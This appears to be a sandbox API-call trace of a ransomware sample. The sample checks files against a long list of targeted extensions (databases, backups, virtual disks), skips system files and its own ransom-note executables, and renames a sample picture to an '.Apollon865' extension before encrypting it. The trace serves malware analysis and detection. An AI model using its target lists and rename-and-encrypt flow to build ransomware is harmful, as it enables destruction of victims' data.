	[0042.029] lstrcmpiW (lpString1=".jpg", lpString2="dtsx") returned -1
	[0042.029] lstrlenW (lpString="dxl") returned 3
	[0042.029] lstrcmpiW (lpString1="jpg", lpString2="dxl") returned 1
	[0042.029] lstrlenW (lpString="eco") returned 3
	[0042.029] lstrcmpiW (lpString1="jpg", lpString2="eco") returned 1
	[0042.029] lstrlenW (lpString="ecx") returned 3
	[0042.029] lstrcmpiW (lpString1="jpg", lpString2="ecx") returned 1
	[0042.029] lstrlenW (lpString="edb") returned 3
	[0042.029] lstrcmpiW (lpString1="jpg", lpString2="edb") returned 1
	[0042.029] lstrlenW (lpString="epim") returned 4
	[0042.029] lstrcmpiW (lpString1=".jpg", lpString2="epim") returned -1
	[0042.029] lstrlenW (lpString="fcd") returned 3
	[0042.029] lstrcmpiW (lpString1="jpg", lpString2="fcd") returned 1
	[0042.029] lstrlenW (lpString="fdb") returned 3
	[0042.029] lstrcmpiW (lpString1="jpg", lpString2="fdb") returned 1
	[0042.029] lstrlenW (lpString="fic") returned 3
	[0042.029] lstrcmpiW (lpString1="jpg", lpString2="fic") returned 1
	[0042.029] lstrlenW (lpString="flexolibrary") returned 12
	[0042.030] lstrlenW (lpString="fm5") returned 3
	[0042.030] lstrcmpiW (lpString1="jpg", lpString2="fm5") returned 1
	[0042.030] lstrlenW (lpString="fmp") returned 3
	[0042.030] lstrcmpiW (lpString1="jpg", lpString2="fmp") returned 1
	[0042.030] lstrlenW (lpString="fmp12") returned 5
	[0042.030] lstrcmpiW (lpString1="a.jpg", lpString2="fmp12") returned -1
	[0042.030] lstrlenW (lpString="fmpsl") returned 5
	[0042.030] lstrcmpiW (lpString1="a.jpg", lpString2="fmpsl") returned -1
	[0042.030] lstrlenW (lpString="fol") returned 3
	[0042.030] lstrcmpiW (lpString1="jpg", lpString2="fol") returned 1
	[0042.030] lstrlenW (lpString="fp3") returned 3
	[0042.030] lstrcmpiW (lpString1="jpg", lpString2="fp3") returned 1
	[0042.030] lstrlenW (lpString="fp4") returned 3
	[0042.030] lstrcmpiW (lpString1="jpg", lpString2="fp4") returned 1
	[0042.030] lstrlenW (lpString="fp5") returned 3
	[0042.030] lstrcmpiW (lpString1="jpg", lpString2="fp5") returned 1
	[0042.030] lstrlenW (lpString="fp7") returned 3
	[0042.030] lstrcmpiW (lpString1="jpg", lpString2="fp7") returned 1
	[0042.030] lstrlenW (lpString="fpt") returned 3
	[0042.030] lstrcmpiW (lpString1="jpg", lpString2="fpt") returned 1
	[0042.030] lstrlenW (lpString="frm") returned 3
	[0042.030] lstrcmpiW (lpString1="jpg", lpString2="frm") returned 1
	[0042.030] lstrlenW (lpString="gdb") returned 3
	[0042.030] lstrcmpiW (lpString1="jpg", lpString2="gdb") returned 1
	[0042.030] lstrlenW (lpString="gdb") returned 3
	[0042.030] lstrcmpiW (lpString1="jpg", lpString2="gdb") returned 1
	[0042.030] lstrlenW (lpString="grdb") returned 4
	[0042.030] lstrcmpiW (lpString1=".jpg", lpString2="grdb") returned -1
	[0042.030] lstrlenW (lpString="gwi") returned 3
	[0042.030] lstrcmpiW (lpString1="jpg", lpString2="gwi") returned 1
	[0042.030] lstrlenW (lpString="hdb") returned 3
	[0042.030] lstrcmpiW (lpString1="jpg", lpString2="hdb") returned 1
	[0042.030] lstrlenW (lpString="his") returned 3
	[0042.030] lstrcmpiW (lpString1="jpg", lpString2="his") returned 1
	[0042.030] lstrlenW (lpString="ib") returned 2
	[0042.030] lstrcmpiW (lpString1="pg", lpString2="ib") returned 1
	[0042.030] lstrlenW (lpString="idb") returned 3
	[0042.030] lstrcmpiW (lpString1="jpg", lpString2="idb") returned 1
	[0042.031] lstrlenW (lpString="ihx") returned 3
	[0042.031] lstrcmpiW (lpString1="jpg", lpString2="ihx") returned 1
	[0042.031] lstrlenW (lpString="itdb") returned 4
	[0042.031] lstrcmpiW (lpString1=".jpg", lpString2="itdb") returned -1
	[0042.031] lstrlenW (lpString="itw") returned 3
	[0042.031] lstrcmpiW (lpString1="jpg", lpString2="itw") returned 1
	[0042.031] lstrlenW (lpString="jet") returned 3
	[0042.031] lstrcmpiW (lpString1="jpg", lpString2="jet") returned 1
	[0042.031] lstrlenW (lpString="jtx") returned 3
	[0042.031] lstrcmpiW (lpString1="jpg", lpString2="jtx") returned -1
	[0042.031] lstrlenW (lpString="kdb") returned 3
	[0042.031] lstrcmpiW (lpString1="jpg", lpString2="kdb") returned -1
	[0042.031] lstrlenW (lpString="kexi") returned 4
	[0042.031] lstrcmpiW (lpString1=".jpg", lpString2="kexi") returned -1
	[0042.031] lstrlenW (lpString="kexic") returned 5
	[0042.031] lstrcmpiW (lpString1="a.jpg", lpString2="kexic") returned -1
	[0042.031] lstrlenW (lpString="kexis") returned 5
	[0042.031] lstrcmpiW (lpString1="a.jpg", lpString2="kexis") returned -1
	[0042.031] lstrlenW (lpString="lgc") returned 3
	[0042.031] lstrcmpiW (lpString1="jpg", lpString2="lgc") returned -1
	[0042.031] lstrlenW (lpString="lwx") returned 3
	[0042.031] lstrcmpiW (lpString1="jpg", lpString2="lwx") returned -1
	[0042.031] lstrlenW (lpString="maf") returned 3
	[0042.031] lstrcmpiW (lpString1="jpg", lpString2="maf") returned -1
	[0042.031] lstrlenW (lpString="maq") returned 3
	[0042.031] lstrcmpiW (lpString1="jpg", lpString2="maq") returned -1
	[0042.031] lstrlenW (lpString="mar") returned 3
	[0042.031] lstrcmpiW (lpString1="jpg", lpString2="mar") returned -1
	[0042.031] lstrlenW (lpString="marshal") returned 7
	[0042.031] lstrcmpiW (lpString1="ala.jpg", lpString2="marshal") returned -1
	[0042.031] lstrlenW (lpString="mas") returned 3
	[0042.031] lstrcmpiW (lpString1="jpg", lpString2="mas") returned -1
	[0042.031] lstrlenW (lpString="mav") returned 3
	[0042.031] lstrcmpiW (lpString1="jpg", lpString2="mav") returned -1
	[0042.031] lstrlenW (lpString="maw") returned 3
	[0042.031] lstrcmpiW (lpString1="jpg", lpString2="maw") returned -1
	[0042.031] lstrlenW (lpString="mdbhtml") returned 7
	[0042.031] lstrcmpiW (lpString1="ala.jpg", lpString2="mdbhtml") returned -1
	[0042.032] lstrlenW (lpString="mdn") returned 3
	[0042.032] lstrcmpiW (lpString1="jpg", lpString2="mdn") returned -1
	[0042.032] lstrlenW (lpString="mdt") returned 3
	[0042.032] lstrcmpiW (lpString1="jpg", lpString2="mdt") returned -1
	[0042.032] lstrlenW (lpString="mfd") returned 3
	[0042.032] lstrcmpiW (lpString1="jpg", lpString2="mfd") returned -1
	[0042.032] lstrlenW (lpString="mpd") returned 3
	[0042.032] lstrcmpiW (lpString1="jpg", lpString2="mpd") returned -1
	[0042.032] lstrlenW (lpString="mrg") returned 3
	[0042.032] lstrcmpiW (lpString1="jpg", lpString2="mrg") returned -1
	[0042.032] lstrlenW (lpString="mud") returned 3
	[0042.032] lstrcmpiW (lpString1="jpg", lpString2="mud") returned -1
	[0042.032] lstrlenW (lpString="mwb") returned 3
	[0042.032] lstrcmpiW (lpString1="jpg", lpString2="mwb") returned -1
	[0042.032] lstrlenW (lpString="myd") returned 3
	[0042.032] lstrcmpiW (lpString1="jpg", lpString2="myd") returned -1
	[0042.032] lstrlenW (lpString="ndf") returned 3
	[0042.032] lstrcmpiW (lpString1="jpg", lpString2="ndf") returned -1
	[0042.032] lstrlenW (lpString="nnt") returned 3
	[0042.032] lstrcmpiW (lpString1="jpg", lpString2="nnt") returned -1
	[0042.032] lstrlenW (lpString="nrmlib") returned 6
	[0042.032] lstrcmpiW (lpString1="la.jpg", lpString2="nrmlib") returned -1
	[0042.032] lstrlenW (lpString="ns2") returned 3
	[0042.032] lstrcmpiW (lpString1="jpg", lpString2="ns2") returned -1
	[0042.032] lstrlenW (lpString="ns3") returned 3
	[0042.032] lstrcmpiW (lpString1="jpg", lpString2="ns3") returned -1
	[0042.032] lstrlenW (lpString="ns4") returned 3
	[0042.032] lstrcmpiW (lpString1="jpg", lpString2="ns4") returned -1
	[0042.032] lstrlenW (lpString="nsf") returned 3
	[0042.032] lstrcmpiW (lpString1="jpg", lpString2="nsf") returned -1
	[0042.032] lstrlenW (lpString="nv") returned 2
	[0042.032] lstrcmpiW (lpString1="pg", lpString2="nv") returned 1
	[0042.032] lstrlenW (lpString="nv2") returned 3
	[0042.032] lstrcmpiW (lpString1="jpg", lpString2="nv2") returned -1
	[0042.032] lstrlenW (lpString="nwdb") returned 4
	[0042.032] lstrcmpiW (lpString1=".jpg", lpString2="nwdb") returned -1
	[0042.032] lstrlenW (lpString="nyf") returned 3
	[0042.032] lstrcmpiW (lpString1="jpg", lpString2="nyf") returned -1
	[0042.033] lstrlenW (lpString="odb") returned 3
	[0042.033] lstrcmpiW (lpString1="jpg", lpString2="odb") returned -1
	[0042.033] lstrlenW (lpString="odb") returned 3
	[0042.033] lstrcmpiW (lpString1="jpg", lpString2="odb") returned -1
	[0042.033] lstrlenW (lpString="oqy") returned 3
	[0042.033] lstrcmpiW (lpString1="jpg", lpString2="oqy") returned -1
	[0042.033] lstrlenW (lpString="ora") returned 3
	[0042.033] lstrcmpiW (lpString1="jpg", lpString2="ora") returned -1
	[0042.033] lstrlenW (lpString="orx") returned 3
	[0042.033] lstrcmpiW (lpString1="jpg", lpString2="orx") returned -1
	[0042.033] lstrlenW (lpString="owc") returned 3
	[0042.033] lstrcmpiW (lpString1="jpg", lpString2="owc") returned -1
	[0042.033] lstrlenW (lpString="p96") returned 3
	[0042.033] lstrcmpiW (lpString1="jpg", lpString2="p96") returned -1
	[0042.033] lstrlenW (lpString="p97") returned 3
	[0042.033] lstrcmpiW (lpString1="jpg", lpString2="p97") returned -1
	[0042.033] lstrlenW (lpString="pan") returned 3
	[0042.033] lstrcmpiW (lpString1="jpg", lpString2="pan") returned -1
	[0042.033] lstrlenW (lpString="pdb") returned 3
	[0042.033] lstrcmpiW (lpString1="jpg", lpString2="pdb") returned -1
	[0042.033] lstrlenW (lpString="pdm") returned 3
	[0042.033] lstrcmpiW (lpString1="jpg", lpString2="pdm") returned -1
	[0042.033] lstrlenW (lpString="pnz") returned 3
	[0042.033] lstrcmpiW (lpString1="jpg", lpString2="pnz") returned -1
	[0042.033] lstrlenW (lpString="qry") returned 3
	[0042.033] lstrcmpiW (lpString1="jpg", lpString2="qry") returned -1
	[0042.033] lstrlenW (lpString="qvd") returned 3
	[0042.033] lstrcmpiW (lpString1="jpg", lpString2="qvd") returned -1
	[0042.033] lstrlenW (lpString="rbf") returned 3
	[0042.033] lstrcmpiW (lpString1="jpg", lpString2="rbf") returned -1
	[0042.033] lstrlenW (lpString="rctd") returned 4
	[0042.033] lstrcmpiW (lpString1=".jpg", lpString2="rctd") returned -1
	[0042.033] lstrlenW (lpString="rod") returned 3
	[0042.033] lstrcmpiW (lpString1="jpg", lpString2="rod") returned -1
	[0042.033] lstrlenW (lpString="rodx") returned 4
	[0042.033] lstrcmpiW (lpString1=".jpg", lpString2="rodx") returned -1
	[0042.033] lstrlenW (lpString="rpd") returned 3
	[0042.034] lstrcmpiW (lpString1="jpg", lpString2="rpd") returned -1
	[0042.034] lstrlenW (lpString="rsd") returned 3
	[0042.034] lstrcmpiW (lpString1="jpg", lpString2="rsd") returned -1
	[0042.034] lstrlenW (lpString="sas7bdat") returned 8
	[0042.034] lstrcmpiW (lpString1="oala.jpg", lpString2="sas7bdat") returned -1
	[0042.034] lstrlenW (lpString="sbf") returned 3
	[0042.034] lstrcmpiW (lpString1="jpg", lpString2="sbf") returned -1
	[0042.034] lstrlenW (lpString="scx") returned 3
	[0042.034] lstrcmpiW (lpString1="jpg", lpString2="scx") returned -1
	[0042.034] lstrlenW (lpString="sdb") returned 3
	[0042.034] lstrcmpiW (lpString1="jpg", lpString2="sdb") returned -1
	[0042.034] lstrlenW (lpString="sdc") returned 3
	[0042.034] lstrcmpiW (lpString1="jpg", lpString2="sdc") returned -1
	[0042.034] lstrlenW (lpString="sdf") returned 3
	[0042.034] lstrcmpiW (lpString1="jpg", lpString2="sdf") returned -1
	[0042.034] lstrlenW (lpString="sis") returned 3
	[0042.034] lstrcmpiW (lpString1="jpg", lpString2="sis") returned -1
	[0042.034] lstrlenW (lpString="spq") returned 3
	[0042.034] lstrcmpiW (lpString1="jpg", lpString2="spq") returned -1
	[0042.034] lstrlenW (lpString="te") returned 2
	[0042.034] lstrcmpiW (lpString1="pg", lpString2="te") returned -1
	[0042.034] lstrlenW (lpString="teacher") returned 7
	[0042.034] lstrcmpiW (lpString1="ala.jpg", lpString2="teacher") returned -1
	[0042.034] lstrlenW (lpString="tmd") returned 3
	[0042.034] lstrcmpiW (lpString1="jpg", lpString2="tmd") returned -1
	[0042.034] lstrlenW (lpString="tps") returned 3
	[0042.034] lstrcmpiW (lpString1="jpg", lpString2="tps") returned -1
	[0042.034] lstrlenW (lpString="trc") returned 3
	[0042.034] lstrcmpiW (lpString1="jpg", lpString2="trc") returned -1
	[0042.034] lstrlenW (lpString="trc") returned 3
	[0042.034] lstrcmpiW (lpString1="jpg", lpString2="trc") returned -1
	[0042.034] lstrlenW (lpString="trm") returned 3
	[0042.034] lstrcmpiW (lpString1="jpg", lpString2="trm") returned -1
	[0042.034] lstrlenW (lpString="udb") returned 3
	[0042.034] lstrcmpiW (lpString1="jpg", lpString2="udb") returned -1
	[0042.034] lstrlenW (lpString="udl") returned 3
	[0042.034] lstrcmpiW (lpString1="jpg", lpString2="udl") returned -1
	[0042.034] lstrlenW (lpString="usr") returned 3
	[0042.034] lstrcmpiW (lpString1="jpg", lpString2="usr") returned -1
	[0042.035] lstrlenW (lpString="v12") returned 3
	[0042.035] lstrcmpiW (lpString1="jpg", lpString2="v12") returned -1
	[0042.035] lstrlenW (lpString="vis") returned 3
	[0042.035] lstrcmpiW (lpString1="jpg", lpString2="vis") returned -1
	[0042.035] lstrlenW (lpString="vpd") returned 3
	[0042.035] lstrcmpiW (lpString1="jpg", lpString2="vpd") returned -1
	[0042.035] lstrlenW (lpString="vvv") returned 3
	[0042.035] lstrcmpiW (lpString1="jpg", lpString2="vvv") returned -1
	[0042.035] lstrlenW (lpString="wdb") returned 3
	[0042.035] lstrcmpiW (lpString1="jpg", lpString2="wdb") returned -1
	[0042.035] lstrlenW (lpString="wmdb") returned 4
	[0042.035] lstrcmpiW (lpString1=".jpg", lpString2="wmdb") returned -1
	[0042.035] lstrlenW (lpString="wrk") returned 3
	[0042.035] lstrcmpiW (lpString1="jpg", lpString2="wrk") returned -1
	[0042.035] lstrlenW (lpString="xdb") returned 3
	[0042.035] lstrcmpiW (lpString1="jpg", lpString2="xdb") returned -1
	[0042.035] lstrlenW (lpString="xld") returned 3
	[0042.035] lstrcmpiW (lpString1="jpg", lpString2="xld") returned -1
	[0042.035] lstrlenW (lpString="xmlff") returned 5
	[0042.035] lstrcmpiW (lpString1="a.jpg", lpString2="xmlff") returned -1
	[0042.035] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\Public\\Pictures\\Sample Pictures\\Koala.jpg.Apollon865") returned 61
	[0042.035] MoveFileExW (lpExistingFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Koala.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\koala.jpg"), lpNewFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Koala.jpg.Apollon865" (normalized: "c:\\users\\public\\pictures\\sample pictures\\koala.jpg.apollon865"), dwFlags=0x1) returned 1
	[0042.036] CreateFileW (lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Koala.jpg.Apollon865" (normalized: "c:\\users\\public\\pictures\\sample pictures\\koala.jpg.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x15c
	[0042.036] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=780831) returned 1
	[0042.036] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0042.036] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0042.036] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf568
	[0042.036] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf4e0) returned 1
	[0042.037] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0042.037] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0042.037] CreateFileMappingW (hFile=0x15c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xbed20, lpName=0x0) returned 0x150
	[0042.039] MapViewOfFile (hFileMappingObject=0x150, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xbed20) returned 0x2a80000
	[0042.077] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf4e0) returned 1
	[0042.078] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0042.078] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0042.078] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59aa88
	[0042.078] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59aa88 | out: hHeap=0x580000) returned 1
	[0042.078] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0042.078] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5bacb8
	[0042.078] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0042.078] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5baba0
	[0042.078] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x599f60
	[0042.079] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5baba0 | out: hHeap=0x580000) returned 1
	[0042.079] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599f60 | out: hHeap=0x580000) returned 1
	[0042.079] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bacb8 | out: hHeap=0x580000) returned 1
	[0042.079] UnmapViewOfFile (lpBaseAddress=0x2a80000) returned 1
	[0042.086] CloseHandle (hObject=0x150) returned 1
	[0042.086] CloseHandle (hObject=0x15c) returned 1
	[0042.131] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0042.131] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf568 | out: hHeap=0x580000) returned 1
	[0042.131] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0042.136] FindNextFileW (in: hFindFile=0x5ca110, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80340916, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7beaaeb8, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7beaaeb8, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x8907c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Lighthouse.jpg", cAlternateFileName="LIGHTH~1.JPG")) returned 1
	[0042.136] lstrcmpiW (lpString1="Lighthouse.jpg", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0042.136] lstrcmpiW (lpString1="Lighthouse.jpg", lpString2="Apollon865.txt.exe") returned 1
	[0042.136] lstrcmpiW (lpString1="Lighthouse.jpg", lpString2=".") returned 1
	[0042.136] lstrcmpiW (lpString1="Lighthouse.jpg", lpString2="..") returned 1
	[0042.136] lstrcmpiW (lpString1="Lighthouse.jpg", lpString2="windows") returned -1
	[0042.136] lstrcmpiW (lpString1="Lighthouse.jpg", lpString2="bootmgr") returned 1
	[0042.136] lstrcmpiW (lpString1="Lighthouse.jpg", lpString2="temp") returned -1
	[0042.136] lstrcmpiW (lpString1="Lighthouse.jpg", lpString2="pagefile.sys") returned -1
	[0042.136] lstrcmpiW (lpString1="Lighthouse.jpg", lpString2="boot") returned 1
	[0042.136] lstrcmpiW (lpString1="Lighthouse.jpg", lpString2="ids.txt") returned 1
	[0042.137] lstrcmpiW (lpString1="Lighthouse.jpg", lpString2="ntuser.dat") returned -1
	[0042.137] lstrcmpiW (lpString1="Lighthouse.jpg", lpString2="perflogs") returned -1
	[0042.137] lstrcmpiW (lpString1="Lighthouse.jpg", lpString2="MSBuild") returned -1
	[0042.137] lstrlenW (lpString="Lighthouse.jpg") returned 14
	[0042.137] lstrlenW (lpString="C:\\Users\\Public\\Pictures\\Sample Pictures\\Koala.jpg") returned 50
	[0042.137] lstrcpyW (in: lpString1=0x119e65a, lpString2="Lighthouse.jpg" | out: lpString1="Lighthouse.jpg") returned="Lighthouse.jpg"
	[0042.137] lstrlenW (lpString="Lighthouse.jpg") returned 14
	[0042.137] lstrlenW (lpString="Apollon865") returned 10
	[0042.137] lstrcmpiW (lpString1="thouse.jpg", lpString2="Apollon865") returned 1
	[0042.137] lstrlenW (lpString=".dll") returned 4
	[0042.137] lstrcmpiW (lpString1="Lighthouse.jpg", lpString2=".dll") returned 1
	[0042.137] lstrlenW (lpString=".lnk") returned 4
	[0042.137] lstrcmpiW (lpString1="Lighthouse.jpg", lpString2=".lnk") returned 1
	[0042.137] lstrlenW (lpString=".ini") returned 4
	[0042.137] lstrcmpiW (lpString1="Lighthouse.jpg", lpString2=".ini") returned 1
	[0042.137] lstrlenW (lpString=".sys") returned 4
	[0042.137] lstrcmpiW (lpString1="Lighthouse.jpg", lpString2=".sys") returned 1
	[0042.137] lstrlenW (lpString="Lighthouse.jpg") returned 14
	[0042.137] lstrlenW (lpString="bak") returned 3
	[0042.137] lstrcmpiW (lpString1="jpg", lpString2="bak") returned 1
	[0042.137] lstrlenW (lpString="ba_") returned 3
	[0042.137] lstrcmpiW (lpString1="jpg", lpString2="ba_") returned 1
	[0042.137] lstrlenW (lpString="dbb") returned 3
	[0042.137] lstrcmpiW (lpString1="jpg", lpString2="dbb") returned 1
	[0042.137] lstrlenW (lpString="vmdk") returned 4
	[0042.137] lstrcmpiW (lpString1=".jpg", lpString2="vmdk") returned -1
	[0042.137] lstrlenW (lpString="rar") returned 3
	[0042.137] lstrcmpiW (lpString1="jpg", lpString2="rar") returned -1
	[0042.137] lstrlenW (lpString="zip") returned 3
	[0042.137] lstrcmpiW (lpString1="jpg", lpString2="zip") returned -1
	[0042.137] lstrlenW (lpString="tgz") returned 3
	[0042.137] lstrcmpiW (lpString1="jpg", lpString2="tgz") returned -1
	[0042.137] lstrlenW (lpString="vbox") returned 4
	[0042.137] lstrcmpiW (lpString1=".jpg", lpString2="vbox") returned -1
	[0042.137] lstrlenW (lpString="vdi") returned 3
	[0042.137] lstrcmpiW (lpString1="jpg", lpString2="vdi") returned -1
	[0042.138] lstrlenW (lpString="vhd") returned 3
	[0042.138] lstrcmpiW (lpString1="jpg", lpString2="vhd") returned -1
	[0042.138] lstrlenW (lpString="vhdx") returned 4
	[0042.138] lstrcmpiW (lpString1=".jpg", lpString2="vhdx") returned -1
	[0042.138] lstrlenW (lpString="avhd") returned 4
	[0042.138] lstrcmpiW (lpString1=".jpg", lpString2="avhd") returned -1
	[0042.138] lstrlenW (lpString="db") returned 2
	[0042.138] lstrcmpiW (lpString1="pg", lpString2="db") returned 1
	[0042.138] lstrlenW (lpString="db2") returned 3
	[0042.138] lstrcmpiW (lpString1="jpg", lpString2="db2") returned 1
	[0042.138] lstrlenW (lpString="db3") returned 3
	[0042.138] lstrcmpiW (lpString1="jpg", lpString2="db3") returned 1
	[0042.138] lstrlenW (lpString="dbf") returned 3
	[0042.138] lstrcmpiW (lpString1="jpg", lpString2="dbf") returned 1
	[0042.138] lstrlenW (lpString="mdf") returned 3
	[0042.138] lstrcmpiW (lpString1="jpg", lpString2="mdf") returned -1
	[0042.138] lstrlenW (lpString="mdb") returned 3
	[0042.138] lstrcmpiW (lpString1="jpg", lpString2="mdb") returned -1
	[0042.138] lstrlenW (lpString="sql") returned 3
	[0042.138] lstrcmpiW (lpString1="jpg", lpString2="sql") returned -1
	[0042.138] lstrlenW (lpString="sqlite") returned 6
	[0042.138] lstrcmpiW (lpString1="se.jpg", lpString2="sqlite") returned -1
	[0042.138] lstrlenW (lpString="sqlite3") returned 7
	[0042.138] lstrcmpiW (lpString1="use.jpg", lpString2="sqlite3") returned 1
	[0042.138] lstrlenW (lpString="sqlitedb") returned 8
	[0042.138] lstrcmpiW (lpString1="ouse.jpg", lpString2="sqlitedb") returned -1
	[0042.138] lstrlenW (lpString="xml") returned 3
	[0042.138] lstrcmpiW (lpString1="jpg", lpString2="xml") returned -1
	[0042.138] lstrlenW (lpString="$er") returned 3
	[0042.138] lstrcmpiW (lpString1="jpg", lpString2="$er") returned 1
	[0042.138] lstrlenW (lpString="4dd") returned 3
	[0042.138] lstrcmpiW (lpString1="jpg", lpString2="4dd") returned 1
	[0042.138] lstrlenW (lpString="4dl") returned 3
	[0042.138] lstrcmpiW (lpString1="jpg", lpString2="4dl") returned 1
	[0042.138] lstrlenW (lpString="^^^") returned 3
	[0042.138] lstrcmpiW (lpString1="jpg", lpString2="^^^") returned 1
	[0042.138] lstrlenW (lpString="abs") returned 3
	[0042.138] lstrcmpiW (lpString1="jpg", lpString2="abs") returned 1
	[0042.139] lstrlenW (lpString="abx") returned 3
	[0042.139] lstrcmpiW (lpString1="jpg", lpString2="abx") returned 1
	[0042.139] lstrlenW (lpString="accdb") returned 5
	[0042.139] lstrcmpiW (lpString1="e.jpg", lpString2="accdb") returned 1
	[0042.139] lstrlenW (lpString="accdc") returned 5
	[0042.139] lstrcmpiW (lpString1="e.jpg", lpString2="accdc") returned 1
	[0042.139] lstrlenW (lpString="accde") returned 5
	[0042.139] lstrcmpiW (lpString1="e.jpg", lpString2="accde") returned 1
	[0042.139] lstrlenW (lpString="accdr") returned 5
	[0042.139] lstrcmpiW (lpString1="e.jpg", lpString2="accdr") returned 1
	[0042.139] lstrlenW (lpString="accdt") returned 5
	[0042.139] lstrcmpiW (lpString1="e.jpg", lpString2="accdt") returned 1
	[0042.139] lstrlenW (lpString="accdw") returned 5
	[0042.139] lstrcmpiW (lpString1="e.jpg", lpString2="accdw") returned 1
	[0042.139] lstrlenW (lpString="accft") returned 5
	[0042.139] lstrcmpiW (lpString1="e.jpg", lpString2="accft") returned 1
	[0042.139] lstrlenW (lpString="adb") returned 3
	[0042.139] lstrcmpiW (lpString1="jpg", lpString2="adb") returned 1
	[0042.139] lstrlenW (lpString="adb") returned 3
	[0042.139] lstrcmpiW (lpString1="jpg", lpString2="adb") returned 1
	[0042.139] lstrlenW (lpString="ade") returned 3
	[0042.139] lstrcmpiW (lpString1="jpg", lpString2="ade") returned 1
	[0042.139] lstrlenW (lpString="adf") returned 3
	[0042.139] lstrcmpiW (lpString1="jpg", lpString2="adf") returned 1
	[0042.139] lstrlenW (lpString="adn") returned 3
	[0042.139] lstrcmpiW (lpString1="jpg", lpString2="adn") returned 1
	[0042.139] lstrlenW (lpString="adp") returned 3
	[0042.139] lstrcmpiW (lpString1="jpg", lpString2="adp") returned 1
	[0042.139] lstrlenW (lpString="alf") returned 3
	[0042.140] lstrcmpiW (lpString1="jpg", lpString2="alf") returned 1
	[0042.140] lstrlenW (lpString="ask") returned 3
	[0042.140] lstrcmpiW (lpString1="jpg", lpString2="ask") returned 1
	[0042.140] lstrlenW (lpString="btr") returned 3
	[0042.140] lstrcmpiW (lpString1="jpg", lpString2="btr") returned 1
	[0042.140] lstrlenW (lpString="cat") returned 3
	[0042.140] lstrcmpiW (lpString1="jpg", lpString2="cat") returned 1
	[0042.140] lstrlenW (lpString="cdb") returned 3
	[0042.140] lstrcmpiW (lpString1="jpg", lpString2="cdb") returned 1
	[0042.140] lstrlenW (lpString="ckp") returned 3
	[0042.140] lstrcmpiW (lpString1="jpg", lpString2="ckp") returned 1
	[0042.140] lstrlenW (lpString="cma") returned 3
	[0042.140] lstrcmpiW (lpString1="jpg", lpString2="cma") returned 1
	[0042.140] lstrlenW (lpString="cpd") returned 3
	[0042.140] lstrcmpiW (lpString1="jpg", lpString2="cpd") returned 1
	[0042.140] lstrlenW (lpString="dacpac") returned 6
	[0042.140] lstrcmpiW (lpString1="se.jpg", lpString2="dacpac") returned 1
	[0042.140] lstrlenW (lpString="dad") returned 3
	[0042.140] lstrcmpiW (lpString1="jpg", lpString2="dad") returned 1
	[0042.140] lstrlenW (lpString="dadiagrams") returned 10
	[0042.140] lstrcmpiW (lpString1="thouse.jpg", lpString2="dadiagrams") returned 1
	[0042.140] lstrlenW (lpString="daschema") returned 8
	[0042.140] lstrcmpiW (lpString1="ouse.jpg", lpString2="daschema") returned 1
	[0042.140] lstrlenW (lpString="db-journal") returned 10
	[0042.140] lstrcmpiW (lpString1="thouse.jpg", lpString2="db-journal") returned 1
	[0042.140] lstrlenW (lpString="db-shm") returned 6
